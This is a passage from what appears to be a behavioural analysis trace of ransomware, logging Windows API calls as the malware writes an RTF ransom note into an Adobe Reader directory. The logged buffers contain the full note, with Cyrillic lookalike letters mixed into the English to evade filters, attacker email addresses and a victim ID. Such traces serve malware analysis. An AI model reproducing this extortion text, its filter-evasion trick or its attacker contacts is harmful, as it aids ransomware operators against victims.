t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x25c5dd8, cbMultiByte=14086, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\nn", lpUsedDefaultChar=0x0) returned 14086 [0040.509] WriteFile (in: hFile=0x1cc, lpBuffer=0x25c5dd8*, nNumberOfBytesToWrite=0x3706, lpNumberOfBytesWritten=0x390fdbc, lpOverlapped=0x0 | out: lpBuffer=0x25c5dd8*, lpNumberOfBytesWritten=0x390fdbc*=0x3706, lpOverlapped=0x0) returned 1 [0040.510] CloseHandle (hObject=0x1cc) returned 1 [0040.510] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\enu\\!bwng_info!.rtf")) returned 0xffffffff [0040.510] GetLastError () returned 0x2 [0040.510] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\enu\\!bwng_info!.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0040.513] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 